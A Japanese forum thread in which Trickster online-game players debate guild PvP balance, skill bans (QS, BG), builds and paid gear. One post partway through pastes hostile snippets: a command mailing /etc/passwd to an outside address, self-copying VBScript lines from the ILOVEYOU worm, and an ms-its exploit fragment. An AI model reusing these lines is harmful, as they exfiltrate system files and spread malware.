ウサはダッシュも使ってたが全く無駄だったな。
んで二人落ちると勢いはお察しで３秒後にまたＱＳで２人死んでた。
さらには課金装備してる１７０↑回避猫が生き残ってたが、スロモやらされて２秒くらいでアパカとＱＳされて死んでたな。
見ててひどいとしか思えなかった。

獅子大したことないって言ってる奴は相手の獅子が弱いだけ。
あれはもう対人じゃない。Ｍｏｂ狩り感覚。
いかに課金装備で固めてＱＳ獅子と鷹ウサとスロモ狐をそろえるかで勝負が決まる。
昨日１０戦以上見たりやったりしたが、全部予想があたった。
構成と装備見ただけでやる前からどっちが勝つかわかるくらいだよ。 >

こりゃGVじゃQS禁止っぽいな・・・ >

>>2を参考にテンプレテスト。
付け足したほうが良いものがあれば挙げて下さい。

*鯖：
*月/日、時間：
*人数：
*対人orボス戦：
最大Lv、平均Lv制限：
フィールド：
キャラ制限：
スキル制限：
装備制限：
アイテム制限：

*は必須項目 >

ん・・・
人数は必須じゃないので修正

*鯖：
*月/日、時間：
*対人orボス戦：
人数：
最大Lv、平均Lv制限：
フィールド：
キャラ制限：
スキル制限：
装備制限：
アイテム制限：

*は必須項目 >

何で鯖・月日・時間が必須なんだ？
てかしたらばでやれよ

>

>>160必須以外は書かなくてもいいということで。
鯖を決めなくてはF鯖、J鯖どちらか分かりませんね〜
日時決めなきゃいつやるか分かりませんね〜
理解できますか？ >

>>161
なぜ>>2を参考にしてるか理解できないｗ >

俺も>>2を参考に
まったりと163get >

ＦとＪでGvしたいね。
トーナメントにしてさ。廃レベ者が引退していくせいか、最近特に平日のＦ鯖はGvしてるところ少ないし、平均もかなり低い…

昔は高レベばかりだったから頑張って上げたのに…('A`) >

ダークエレメントをマスターしても回避なきゃ魔は弱いままですか？ >

>>165
ぶっちゃけダメージが減るわけじゃないからね〜
ＤＥを本気で使うなら完全ＨＰ装備でうたれまくれば使える…かもね？(スキル受けて生き延びてアロー打つとかね)
ただＤＥは銃攻撃が反射しないので、魔なら回避よりも幸運を…かな？幸運あればＱＳで死なないし、逆に獅子倒せるはず >

補足じゃないけど…
結局魔はほとんど魅力に勝てるわけないので
魔は弱いというけれど戦い方次第では普通に強いから。
まあ頑張れ >

まだ対人に望みを持とうとしてる人いるのか。
勝ちたいならフル課金銃獅子かウサ作るといいよ。
Ｍっ気のある負けてもＰＫ気持ちえぇ〜って人は好きなキャラ使うといいかな。 >

過疎age >

あげてみる >

最近gvツマンネー
ギルドのメインメンバーの中で俺だけ参加してない。 >

出ても獅子とうさにボコられる現状 >

獅子キモいよ獅子。
近づけないよ〜 >

相手にもよるが獅子一人じゃ何にも出来ないって。
幸運高すぎる狐、魔にはＱＳはずすし
攻撃、魅力なんざＨＰ高い訳だからＱＳやっても死なないしなない(攻撃ならコンボで倒せるかもだが)
ギルドという枠なんだからやっぱり仲間と協力してやらんと。
獅子はぬめだから狸のＢＧ、威力上げにうさぎの鷹の目がないとね。
回避高い魅力に対してはやっぱ獅子は二人欲しいし。
あとは魔がＤＭしつつ攻撃とかになるが。
正直負けまくるってとこは、メンバー構成やチームワークがないと思う。まあもちろんプレイヤー次第もちょっとはあるけどな

>

ＨＰ高くてもほぼ必中だし、ＰＯＴ連打しないといけないからかなり行動を制限できる
それと幸運高い奴は味方の攻撃や魅力に任せてればおｋ

自ギルドと獅子数が少ないとこと戦っても滅多に負けることはないな(・ω・)
ＱＳ実装後は5割程度の勝率がＱＳ実装後は9割前後まで跳ね上がったよ >

＞ＱＳ実装後は5割程度の勝率がＱＳ実装後は9割前後まで跳ね上がったよ >

QSお断りｗｗｗ >

トリスタの対人は終わってるな >

>>175
それが真理だろうな

＞ギルドという枠なんだからやっぱり仲間と協力してやらんと。
これも全くもってその通りだが、実際は獅子が3人密集し、協力してＱＳ撃ってる現状。
攻撃に銃耐性スキルでも来ない限り、暫らくＧｖは獅子の数で勝敗が決まるだろ。 >

攻撃に銃耐性スキルはあんまり、ダウンスキルを遠距離から当てれるようにすれば
まだどうにかなるんじゃないかな？
>

獅子の数が合わなければ勝てる見込みはまずない
おかげであんなに好きだったGvを卒業した俺・・・。
Gvの為だけに課金＆ｶﾞﾁｬにかけた情熱も今はただ後悔しか残ってねぇ
そんな自分が大好きだ（＾ω＾） >

>>181
後悔するぐらいなら獅子つくれ！

そんな自分ギルドのＧＶ用に獅子作った。だがしかし完成もしてるのにギルドでＧＶしなくなった…orz
傭兵行けって？う……うん…………… >

>>182
俺と一緒に獅子オンリーギルドでも作るか？ >

>>183
正直……惹かれたｗ >

ageるよ？ >

あげ >

ハイブリットでＨＡにデストロイとノックダウンついたら強そうだなぁ >

既出かもしれんがGvで一番使えないの龍じゃね？？

控え室での募集で龍以外募集とか目立つし・・

俺メイン龍だけどかなりショックうけたわ >

>>188
あんまりGvはやったことないんだけど、ダークエレメントは強いんじゃないの？
>

本当に使えないのは風羊だと思う。

話がずれちゃうけど使える使えない関係なく傭兵では龍及び魔は出やすいと思う。
あと攻撃もでやすいかな？

魅力、ガンナーはＧＶ相手を探すことを考えるとどうしてもギルド内に二人が限界だろうし、ぶっちゃけ一人いるならひろいずらいだろうし。

だから最近ガンナー獅子が結構傭兵の売れ残りみたいな感じでいるのはよくみる

狐やその他獅子書き忘れたけどまあやっぱり拾われるはず。

龍使えないっていうけれど幸運とＱＳ耐えられるＨＰがあればガンナー獅子撃破できるだろうし、闇龍なら反射マスターまでしてれば攻撃型とか威力高い人の攻撃うけるともしかすると共倒れまでもってこれるだろうし。

>

>>189
一応突っ込んでおけばＤＥは魅力のミラーの様にダメージの軽減はしてくれないから強いとはいえない。
銃攻撃は反射しないしね…本当に利用するならそれなりのＨＰ装備にしないと生き残れない。
ちなみにマスターで自分の受けたダメージの約半分が相手にいくとなる。
まあＤＥはＴＭ的に厳しいと思うから…高レベル帯じゃないと厳しいのかな？
優先してとるほどではないかと
１５０レベルあたりの闇龍なら
・アロー(マスター)
・シャワー(マスター)
・フェア(マスター)
・リカバリー(レベル１０またはマスター)
・マナチャージ(レベル１)
・フレイム(マスター)
・イビル(マスター)
・ランス(マスター)
がまず必須(大抵覚えている)だろうし

サポートや魅力対策として
・ＤＭ(マスター)
を考えると大抵ＴＭが微妙に残る程度になるはず。
ＤＥを覚えるには先にテントをレベル１０までにはしないといけないから…

うん長くなったすまん
>

闇龍のイメージ

対魅：バリアで無力化、SKで沈む。
対攻：お互い確殺なので互角。高レベにもDMで対抗は可。
対魔：互角。
対感：当たらない、もしくは詠唱中に射殺。幸運装備だと今度は攻を確殺できなくなる。


対攻でしか活躍出来ない上にそれでも絶対有利と言う訳ではない…。１人いれば十分だわなｗ >

>>188
龍以外を募集するのは
自前で龍は揃っているからだと思うが >

ぬこ使ってるけど龍より仕事なくなった気がする。
スカ禁止にされると壁程度の役割。
変身は対人では微妙、高回避でも銃ダメ減らない、攻撃当然当たらない。

回避ぬこに愛の手を＿|￣|○ >

結局みんな自分が一番マゾいって愚痴ばっかなのな。
未だ最強クラスのSKに頼りきって｢禁止されたら何も出来ません｣って。
それしかしないならぬこ使ってる意味ないじゃんｗ >

他に仕事なんてあったっけ？ >

自分なりになんか考えたらいいじゃない。
FCしてみるとか、狸と違ってBGしなくていい分行動に余裕があるんだし１体に粘着してBDとかMBしたり。
何も出来ないんじゃなくてしようとしてないだけジャマイカ？
>

回避装備→スピン、アッパーはほぼ回避。銃で沈む
命中装備→HK、CT共に当たらず(二割程度)
AS＋FC→銃の前に効果なし

後は何だ、MUで突撃か。 >

対獅子は魔が魅に勝てないのと同じようなもんだろ。
俺も狸だから今まで最強クラスだったのが銃相手にあっさり沈むようになった悔しさはわかるがFCなんかはBGしてる身としては凄く有り難いんだぞ。
最強厨が多いせいか愚痴ばっかなぬこが多いがぬこは支援としてはかなり優秀なんだし周りに感化されずに誇らしげにしていて欲しいと思う。
ちなみにさっきBDとか書いたがアレ素でボーっとしてた。スマソ >

最近はBG禁止ってとこもあるよね(´･ω･)制限されるのは切ない
しかし回避による銃ダメ減少ってのはどれほどなのか。そこが気になる。
最近の派手な沈みっぷりに獅子作ろうかとも思ったけど、
支援ぬこ必須って言われる位まで育てるよ。

↓以下いつもの流れで >

んじゃ、保守 >

>>194
バリアブレイク、マナブレイクやればいいんじゃね？ >

>>194
高回避でも銃ダメ減らない

今日、ｇｖしたけど獅子がぬこにQSぶっ放してもミスばっかだったぞ
どうなってんの？ >

QS弱体化 >

なんだ、こんなスレがあったのか。今日初めて知った。
この板はしたらばトリスタ板じゃないですよ。トリスタの立場どんどん悪くなるからもうやめてよ。
>>1「無いからなんとなく」って・・・したらばにあるじゃんGvGスレ。なんか話題もかぶってるし。笑えないよ。
保守とかしてるやつもいるし。保守の意味分かってなさそうだし。もうね。なんなのこのスレ。 >

>>205
日本語でおｋ >

いつからなんだろ、回避による銃ダメ修正入ってます。
実験結果：回避１につき９減少でした。 >

ずいぶん前からそうじゃなかった？ >

あら、俺が気付かなかっただけか(ノ∀｀)
失礼しました。 >

あげまーす >

そんなことより俺の給料あげてくれ >

ﾎﾚ　[給料]
(･∀･)ﾉ >

たぬぬ変身はGvではどうなの？ >

>>213
回避極なら銃ダメが凄い軽減されるが、スキルしかダメージ源ない上にBG使えないから罠スキル。
たぬぬ一匹制限が暗黙の了解なのに変身しててBGしないたぬぬは空気嫁感たっぷり。

BGで守られた全員の火力＞＞＞＞自分だけ死なない変身たぬぬの火力

というのが使ってみた感想。 >

>>214
さんくす。やはり変身スキルは狩り用か… >

BGたぬを他にもう一人入れていいなら弱くはないんだけどね。
まとまってないレビュースマソ。 >

言えるのは猫が狸の弱体化版になっちまったってことだな >

弱体化っていうか劣化版な >

２次職来たらハイブリット選んで、猫はミューテーション、狸はメイクアップってなれば結構行ける気がする
（ていうか変身できるのか？たぬぬがメークアップ猫のドット絵だったら･･･） >

俺たぬぬ使ってるけど、最近じゃあボデガとかもうほとんどの奴らが禁止を求めてくるよ。

部屋入ってきてボデガなしでいいですか？って言ってくる輩ばっかり。
何も言ってこない方が珍しい。
しまいにゃスカもだからたぬとか無条件で２つのスキル封印を要求されるし。
断ると大概のやつが逆ギレするしね。
最近思うけどたぬにボデガやスカなしとか言うなら、うさだと鷹とか牛なら海斬りとか同じだけのものを封印しろと思うけどね。
ボデガやスカされると勝てないし卑怯とか言う奴いるけど、たぬは味方を守るのが役割の職なのにそれ封印されたら職の長所取られるだけでしょ。
命中面とかで所詮は補助役に徹した方が強いたぬなのに、補助できなくてヒット役にまわるしかないならウサや獅子のほうが優秀だし。
スキル封印を求めるなら自分達も同等のスキルを封印するのが筋じゃない？って思うのはおかしいことですか？？
無条件封印を求めるのは当たり前ですかね。 >

その辺りの規制って正直うざい。

「強いものが立つ」

それが絶対で唯一のルールだったはず。

今のガキはそんなことも知らないのか。 >

俺もたぬぬ使ってるけどBGは仕方ないよ。
確かにたぬぬだけスキルをひとつ封じるのは不公平かもしれないけど、
それだけBGの有り無しが試合に影響するってことなんだと思う。
お互いにBG無しでやったら互角だったのに、片方をBG有りにしてみたら
大差がついたこともあるし。
まあ、スカはやりすぎだと思うけどね。スカなしが多すぎて使わないことが
多いから消そうか悩んでる。
あと、たぬぬに関係ないんだけど最近〜なしでって条件をつけたり、自分
たちが出した条件を断られるとオープンで文句を言ってきたりするのを見
るんだがは何とかならないものか・・・。
散々文句を言った後「うぜぇ」と言い残して一人で部屋から出て行ったの
を見たときは自分のギルドも相手のギルドも( ﾟдﾟ)ﾎﾟｶｰﾝとしてた。 >

それはさすがにルールの前に対人関係に問題ありだな(笑)。
そう言う人はもう、無視をするしかないんだろうな。
たぶん、内容以前に、まともな会話が期待できないだろうから。 >

去年息子が小学校に入って初めての運動会に僕の両親を連れて見に行った。
すると、徒競走で順位をつけないんですよ・・・
なかには、みんなで手をつないで仲良くゴールインとかしてる始末・・・
お前達はいったい何の為に走ってるんだ？
運動会って何なんだ？？？
これが今、巷で噂のゆとり教育と言うものなのか？ >

>>220
もしジュエリアでやってて言っているなら自分達のメンバー構成の問題だと思われ。どんな勝ちたがりなのかと。
だって最近はBGたぬぬいないギルドの方が珍しいのに｢ほとんどの奴らが禁止を求めてくる｣って時点で普通じゃないじゃない。

低平均帯のGvの話だったらわからんから謝るが一般的な150〜170では平均やメンバー構成に問題がない限りBG規制はほとんどない。
>

順位を付けないのは変な宗教と同じくらいタチが悪い。 >

>>225
すいませんＦ鯖っす。
Ｆ鯖のＧｖの現状はいかにベースを低くしつつスキルを揃えて、課金装備で固めて中身は強くしつつ平均下げをがんばるかって感じです。
だからＧｖの平均が１７０以上とかすごく少ないし、ほとんどが平均１２０〜１５０です。
ただ平均１２０くらいでも２００レベル並の強さはありますけどね。
装備があれだけ強くなるとベースあげてもほとんど意味ないのはわかるけど、さすがにＦ鯖のＧｖの現状は酷いですよ。 >

Fかぁ、それなら知った口叩いてスマンカッタ。
平均についてはJだって似たようなもんだがBG規制はあまりない事を言いたかった。
ハンデは平均低い所に突っ込んだときに突っ込んだ側からBG無しにするから対戦してくれ、みたいのが大半かも。
BG禁止組もいるが皆その旨を書いて部屋作って待ってる。

ちなみに皆してガチャ装備だから意外とレベルで差出ると思う。 >

お互いＢＧ、スカン無しと言ってくる奴に限って、終始ＢＧを使おうとする奴が多すぎる件 >

そんな奴いるか？ >

>>230
たまに「ﾐｽったｗｗｗｗｗｗ」っとか言ってＢＧ使う奴いるな

まあ某ギルドの奴なんだが
まあ使われたらこっちも使ってるので問題はないが >

だよな。多すぎるとか大げさな奴が多すぎる件。
ってか今はQSが規制の対象であってBGなんて大した事ないのにね。
俺はレベル割と高レベルのたぬぬ使ってるけど獅子がいる所相手にSKくらったら普通に沈むし(QSなしなら死なない。)見かけるのも｢獅子２まで！｣とかが大半。
F鯖って未だにBG神話続いてるの？ >

続いてる >

なら鷹目兎とQS獅子でチーム組んでしばらくの間俺TUEEEEEして早くBG神話が過去のものであると知らしめてやってくれ…。たぬぬ使いとして、F鯖の同胞が不憫でならない(´･ω･｀)
確かにBGは強いがSKやQSだと思う。 >

ＱＳ獅子2匹　鷹目兎1匹　ＳＫＢＧ持ちＨＰ極、ＳＫＢＧ変身狸１匹ずつ
これほとんど最強じゃね？問題は挑んでくれる相手がいるかどうか、か
つか派手なＱＳに目がいってるだけで相変わらずＢＧは凶悪だと思うのだが >

pianissimoっていうGくそつよいね

EXAM相手に余裕で勝ってた >

>>235
いやいや、狸１という前提を忘れてはいけない。
あとHP極は駄目だ。獅子相手だとエリクサじゃ連打してても間に合わなくて死ぬからマジきつい。
ってか変身したら狸はSKもBGも使えない劣化攻撃職になるぞ。(死なないけど。)
何が言いたいかと言えば確かにBGは強いが狸は１G１人が暗黙の了解になってるから獅子２のQSの方がよほど危険じゃないのかなと。
以上、獅子、狸の両方を使ってる個人的な感想な。 >

つーことはやっぱりＢＧ神話続いてるんだな >

cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:

>

禁止されないのはＪはお互いの狸の数が大体揃ってるから。だから獅子の数で勝敗が決まる印象が強いんジャマイカ？ >

話切って悪いんですが

近接型の人ってGvではどんな武器使ってます？
俺は命中合成した剣使ってるんだけど、属性剣そのまま使用？ >

近接型って何よｗ
属性で強くなる海斬りや命中が必要なスピン、色々あるから職と戦い方を具体的に言ってくれんとなんとも。 >

あ、失礼しました

兎(スピン、アッパー)
狸(ワンペア)
の場合です。

いるかわからないけど、AA狐と猫も当てはまるかな… >

俺なら出来るだけ精錬して命中合成一択かな。
課金ならＯＰの底上げで回避にしたり、ＨＰ合成したりするのもいいかもしれんがそれは自身の命中と向き合って決めるといいよ。

多少増えても意味がないような死にステを作らないのがコツ。 >

あの・・・ＢＧってなんですか・・・？ >

BiGtinpo >

サンキューフォーエバー >

>>244
さんくすです。参考にさせてもらいます。 >

Gvに出てる銃獅子の方に質問です。
今142Lvで　HP7k　命中231(銃攻撃力329) 幸運131(スキル込み) 回避79なのですが
よくQSを耐えられた後に相手のスキルでやられてしまいます。同Lvくらいの銃獅子の方
Lvと四つのステがどれ程あるのか教えてください。 >

>>249
余り参考にならんと思うが当方150歳、初期4141ボーナス命中極、装備はガチャ有り（今回のはまだ）で
ステが命中260、幸運210、HP4ｋ、回避30ぐらい
相手の攻撃を回避で避けるとかHPで耐えるとかは一切考えず、命中と幸運だけでやられるまえにやるって感じ

幸運が131らしいけど、QS耐えられると言うより避けられてないか？
そのステだと銃士対決でもQS外して狩られる気がする
相手を確実に沈めたいなら命中もそうだが幸運がもっと必要だな

確実に沈めようとは考えていなくて、相手の攻撃を耐えたいって言うんなら・・・
HP７ｋ回避79はちょっと話にならない。袋やOPなど、攻以外の職の高火力スキルでもかなりの確率で沈められる
まずHP10ｋ、回避100くらいはどうしても必要かと。攻のスキルも耐えたいならもっともっと要る
それを達成しようとするとどうしても威力や幸運がお察しになるのが銃士だから、火力と死ににくさの両立だけは諦めれ

自分はそこまでせんから知らんが、ガチャエリクサネイト極なら両立できるんだろうか・・・ >

>>249
まあ一応獅子として書けば
１６１レベルの３１４２型命中極
装備フル課金で機応変で変えてる。でもＨＰは１０ｋは保つようにしてる

>>250のいうとおり獅子同士なら幸運が勝負になると思う。

ちなみにＱＳうったあとすぐに次のスキル使うようにしてるが、ＱＳで仕留めようと考えちゃいけない(レスを読む限りだとＱＳで終わっていたので一応)

あとホークアイが使用可能兎が仲間でいるなら極力ついていく。

ステータスも大事だが、そういうチームワークも獅子にとっては大事だからな >

>>250-251
レスありがとうございます。
HP10k･回避100には、できそうにそうにないので中途半端に上げてる回避･HPをやめて
幸運･命中を上げようかと思います。
>

オール狸vsオール獅子の壮絶なGVは今や伝説 >

　　　　　　／《　, -‐ '´￣￣｀ヽ､　lゝ
　　　　 　/ ／／:::::／" ｀ヽ ヽ:::::::ノ》 》＼
　　　　 　⌒./:::::::::/　　　　 ヽ ヽܲ ܵ ܶ ܷ :::::ﾍ:,⌒⌒
　　　　　　　l:::::::{:::l ,　　 　ｰ-j从:ヽ::::.ヽ
　　　　　　　| ::i::ﾙ{ﾚ'　　 　 ●｀ ｌi!: ﾄ､:::.',　　 ,へ／）　>>138
　　　　　　　ヽ:i: i "●　　　 .⊂⊃: |ノ::::.ｌ ／＼ 　｀>　　りゅーん
　　　　　　　 .ｙi ﾍ⊃ 　　,__,　　 l|:: |:::::::／　　　 ｀Y
　　　　　/7｀'､|::|l:ゝ､_ ｀´　　 ィ<|:: |_:::ｌ　　__,,..-‐'　　) ）
　　　　 (| ﾄ　 .|::|l:::: i　"Tーイ'＾ｧレ ﾍﾁﾏ､　　___￣ 　´
　　　　　ヽ､___|::|ｌ:::: ｌﾊ|7く､_/Ｏ ＼__/ i__/ ｀"''‐--r､
　　　（ (　　r　|::|／　＼ﾊ　　i　　　　 Y､　　 　 ./ |つ
　　　　｀｀　　rく___　　/｀l.　 Ｏ　　　　 | ｀"'-､__L/
　　　　　　　 >､______7 ,く____ﾊ　　　　　〉
>

SKだけとか雷だけとかやってて楽しいのかねぇ
スペシャリストにでもなったつもりか('A`) >

まだQS覚えてないんですけど、覚えたら大分変わりますか？ >

>>256
持ってる人の試合をみるとわかるが明らかに世界がかわる。
人によってはヒット数とか半端ない >

>>255
悔しいのはわかるが自分だって同ギルドにそういう奴いたら止めないどころか有効利用するだろ？
SKもBGもQSも雷も自分がされると嫌なだけで拾える時は皆率先して助っ人に呼ぶよね。 >

PS RS QSって発動時間何秒なの？
スキル打つ前に打たれて終わる('A`) >

>>258
相手のスキルとかに文句言うやつなんて自分のことしか考えれない俺つえーしたい奴ばっかだから仕方ないよ。
そもそも対人で文句言うこと自体間違い。うまくいかないのは自分達が弱いだけ。
ＢＧやスカや雷に禁止や文句を言うのもおかしい。
自分達も使えばいいだけの話で、今のご時世ＢＧたぬが少ないとか雷羊が少ないなんて言い訳通用しないし。
ＢＧに限っては賛否両論あるけど、やっぱり禁止するのが間違いだと思われ。
強いのはわかってるんだから、使われたら使えばいいだけ。
使えないのは構成が悪いだけで相手側には何の非もない。
たぬ入れてない分他職のスキルがあるはずなのに。
ＢＧやスカや雷なんてのは補助を代表するスキルなんだから、それ禁止されたらその職がつまらなくなるだけだよ。
魅や雷羊なんてのは所詮補助職。
そのへんをちゃんと理解してやっていかないと、文句ばっかじゃただでさえ過疎ってるのにどんどん過疎るだけ。 >

　某ギルドは獅子2兎1狸1雷羊1でやってたぞ。　獅子と兎は前衛で後ろはBGﾀﾇﾇと雷連発羊だった。　　　知り合いが出てから観戦してたんだけど、えげつない試合で相手が可愛そうだったよ。 >

>>261
DQN乙 >

>>261
メンバー構成もやりかたもうちのギルドそっくりな件 >

>>261
言ってることが自己中すぎ。
構成を決めてるのは自分の所のマスターだぞ？弱く組んだとしても相手にえげつないとか言うのはおかしい。
俺もマスターだが獅子２雷１狸１兎１で組める事もあれば竜３とかになる事もある。そりゃ人間だから負けたら悔しいが試合を了承しておいてグチグチ言うのは筋違いだと思う。
構成にケチつける奴は自分でギルド立ち上げて相手を選ぶべき。
>

知り合いが出てから観戦してたんだけど、えげつない試合で相手が可愛そうだったよ。

知り合いが出てから観戦してたんだけど
観戦してたんだけど
観戦 >

>>265
鬼の首取ったように言ってるが、んな事承知で言ってる。
知り合いの試合みててあーいう感想を持つ人が自分の時はそうじゃないとはまず思えないと考えた。
>

誰をどの種族を選ぶかもまた戦略のひとつ。
種族の構成に不満があるのなら、相手に言うのではなく、
自分のギルドマスターに進言する内容でしょう。
自分のギルドから出せるキャラクタの中から、
相手も考えてベストの内容で望むのがギルドマスターの役目なのだから。
相手が強すぎたとかそう言う愚痴は、皆が不快になるだけだよ。
>>264に同意。相手がやりたくない構成なら最初から、
対戦しなければ良いだけのことだ。受けた以上はベストを尽くせ。
そして、その上で負けたのなら悔しがっても、文句は言うな。
「やらなければ良かった」とかは見苦しすぎる。 >

ってスマン。よく見ると知り合いが強い側で、別に負けた側が文句言ってる訳じゃないんだな。
いや俺のミスだ、スマン。じゃ今のは文句言ってる人に向けてって事でよろしくｗ >

>>268
どんまい＾＾； >

dejikotanmoe >

ただまぁ俺はＧｖなんてのは勝つためにできる限りの最善を尽くすとこだと思うけどね。
構成もスキルも汚いだの制限だの言う方がただの負け犬だし。
まぁモラルは持たないとダメだけど。
リバ後とかはダメだが、対人でＧｖやってるやつは少なくとも勝ちに来てるわけでしょ？
しかもほとんどが課金装備で。
楽しみに来てるとかいうなら最初から負けても悔しくないはずだし、
相手がどんな構成のどんなやり方できても文句言わないでしょ。
自分たちが楽しむために勝ちに来てる相手側にスキル制限してとか、構成に文句を言うのはおかしいし。
いちいち文句言ってたんじゃ弱いくせに勝ちたがりの自己中に見られても仕方ない。
Ｇｖとかするなら、相手に何されようが跳ね返すだけの実力がないとやっていけないよ。
Ｐｖにも言えるけど、対人はやられたら倍にしてやり返せばいい。
無理なら自分達が弱いだけ。
文句や言い訳するくらいなら強くなればいいと思う。 >

強い側でも弱い側でも言いたいことは同じだ。
「最善を尽くせ」、それだけだな。相手が受けた以上は、
こちらが格上でも本気で叩くよ。逆に、相手が格上でも、
受けた以上はやはり本気で叩きに行くよ。
もちろん、それで負けたらものすごく悔しいけど、
だからと言って「受けなければ良かった」とかは思わないけどな。 >

最近は前より盛り上がってるの？
課金にあきれてアンインストールしちゃったが気になる >

言うほど盛り上がっているわけではないが、
ギルドバトルが好きな人は相手に不自由しないでしょうね。
深夜はどうしても人が集まらないのかPvばかりですけど、
夕方になると、観戦しているだけでも割と楽しいです。 >

今日エリクサ渡してる途中で倒してしまったらしく、さんざん文句言われた
エリクサ渡しの時に倒されてしまうのはしょうがないと思うけど、どう思いますか？
せめてふちでやれと思う >

倒すのが当たり前。 >

>>275
装備切り替えラグ中に倒してしまうこともあるよな。
せめてタイマーかける前に装備変えろと思う >

戦場にいるのだから、何をしていようが倒す、倒す、それだけ。
アイテムを渡すのならば敵の目に触れないところでするべきだな。
こちらとしては狙えるときは、ワザと完全に倒さないこともある。
そうすればそいつが回復を使ったり、援護が駆けつけたりするので、
そこで改めてまとめて粉砕する。こうすれば相手の消費が激しくなるからな。
おかげで、こちらの勝率もあがると言うものさ。強いだけではダメ。
頭も上手に使わないとね。雑魚は雑魚らしく、倒されてください。 >

>>278
やたら偉そうなので素直に同意できない

でも同意 >

なんか、ここウイルス張られてないか？ >

普通にアイテム投げてる間に倒されるなら納得するが
捨てるのに３０秒以上かかった挙句死んだ時はかなりむかついた、勿論爺暮に


後、たまに相手に拾われちまうんだが… >

おまいらゲームなんだぜ？楽しんでやろうジャマイカ
ただ相手が人な以上、最低限のモラルは守ってな。
楽しめないゲームなんかやる意味ねーじゃんｗｗｗｗｗ >

>>282
まったくだｗお前みたいな奴ばっかだったらTSはもっと素敵になるんだがな。 >

久々に来てみたわけだが

>>205
したらばで検索してスレが見つけられない俺は日本語が出来てないだけ？
それともおまいさんが日本語が出来てないの？

とりあえず中学卒業しとけ、話はそれからだ。 >

>>284
205じゃないが一応言えば以前したらばであったのは確か。しかし今あるかは知らないが、このスレが出来たばかりはまだ探せばでたはず。
>

>>284
205じゃないがかわりに。

1 名前： 名無しさん 投稿日： 2006/05/06(土) 02:57:32 [ tqXCl5i. ]

GvGについて語るスレです

1 名前：名も無き冒険者[] 投稿日：2006/05/11(木) 10:01:58 ID:g5BRMXet
無いからなんとなく立ててみた

普通にしたらばに建ってるね。
それにしたらばを「GvG」でページ内検索したら普通に引っかかったんだが。
>>1はどういう検索の仕方をしたんだ？
ちなみにこのスレ今でもあるよ。 >

日本語が出来てなかったんだろ

アルファベットだけどな >

ボルケーノ・コロシアムで復帰後で敵から離れ味方に近付こうしてる孤立したキャラを5人で叩くのはありですか？面白いですか？
復帰後、リバだから攻撃しないで見逃したのに、いきなりスキルかけて攻撃して来るのはありですか？
もうさ、勝つ事に必死な奴多すぎだよ。 >

>>288
少なくとも、孤立したキャラを叩くのは普通だろ。
何で固まるのを待たなきゃいかんのだ。 >

>>289
そこで紳士なとこを見せると俺はかっこいいと思うよ >

もしかして闇龍って要らない子？
たぬぬでも作るべきか・・・ >

うさ使いから言わせてもらうと闇龍がいちばんやっかい >

二次来たら闇つよくね？ってのは素人考えだろうか >

うさ使いだが一番やっかいなのはうさだな >

>>288
まぁ、気持ちはわかるがこんな所に書き込む程悔しいならお前も勝ちたがりなんだと思うよ。
たまにされるが｢あー、こういう所か。｣程度にしか思わん。
最初に言ってない以上ルールの範囲内だし、色んな人がいるんだから良心依存な問題にいちいち文句言ってもキリがないでしょ。 >

2次ぬこのサポートは異常
魔法封じされたら魔型乙るよ

まぁ…おとくいの禁止Ｇｖだらけになるんだろうけどな >

乙ればいいよ。
禁止Ｇｖなんてクソくらえ。
そういうスキルが実装されたらそれが仕様。
すぐ禁止禁止言う奴は来ないほうがいいよ。
ＱＳ禁止、スカ禁止、ボデガ禁止、禁止ばっかして何が楽しいのやら。 >

「バランスが崩れる」とか言って禁止を掲げる人が多いからな。
運営側の仕様を無視して、個人が決めつけることのほうが、
それこそバランスが崩れると思うのだが……ｗ >

>>297
制限無しのGvが面白くないから現在の状況があるってことｗ >

>>299
おもしろくないってのはただ俺つえーしたいやつができないからじゃない？
制限無しのほうがなんでもできて楽しいし戦略も作れる。
まぁ正直なとこ課金Ｇｖは先は長くないと思うけどね。
ＳＰフィールドに続き今度は４Ｇがあれだからね。
あまりに短期間に高性能装備が出すぎる。
非課金Ｇｖが流行り出してるけど、この流れについて行けなくなった人は非課金にどんどん流れそうな気がする。
攻なのに回避１７０あったり、魔なのにＨＰ２０Ｋあったりとか課金はキャラの特性消しすぎ。 >

>>300
非課金Gvのが先短いと俺は思うけどな。
完全非課金だと魔と魅力が強くなる（特に魅力）
魔と魅力だけの構成になっても楽しくないし、非課金でも俺TUEEEしたいやつはいるしね
結局は一緒ｋ（ >

なんだか
どんどん残念な方向に向かってる？
orz >

楽しんだもの勝ちだよ
課金は課金で確かに特性消えてるけど、どちらもそれでもどうすれば死なないかとか、どうすれば倒せるかとか考えたりする所。その準備期間とかも面白いと思うけどな〜

俺ＴＵＥＥＥな人たちなら先が短いっていえるけど、どんな状態でもＧＶ楽しいと思える人がいるなら続くと思う >

自分はトレーディングカードゲームの経験者だが、大会とかでは強すぎる
カードに対しては必ず制限や禁止が付く。そのカードを戦術構成要素（用語
使えばデッキやサイドボード）に入れていた時点で負け。
なぜなら、そうしないとゲームとして成り立たなくなり、他の戦術を否定し、結果
面白くなくなるから。

GVにもそういった部分はある。BGはQSの方強いから問題ないという人間がいるが
どっちもゲームバランス崩すでFA。それに両方使うとさらにやばい。
現状で、制限・禁止がかかる候補としては
・QS　・BG　・SK　・鷹の目（QSや海切り等の組み合わせがまずい）　
・海切り（範囲性と威力の両立）　・雷　・ﾊｲプレッシャー
このあたりで、その中でも特にまずいのが
・QS　・BG
の2者だろう。（SKはスロモ強化で、砲台が脆くなった為最強ではなくなった）
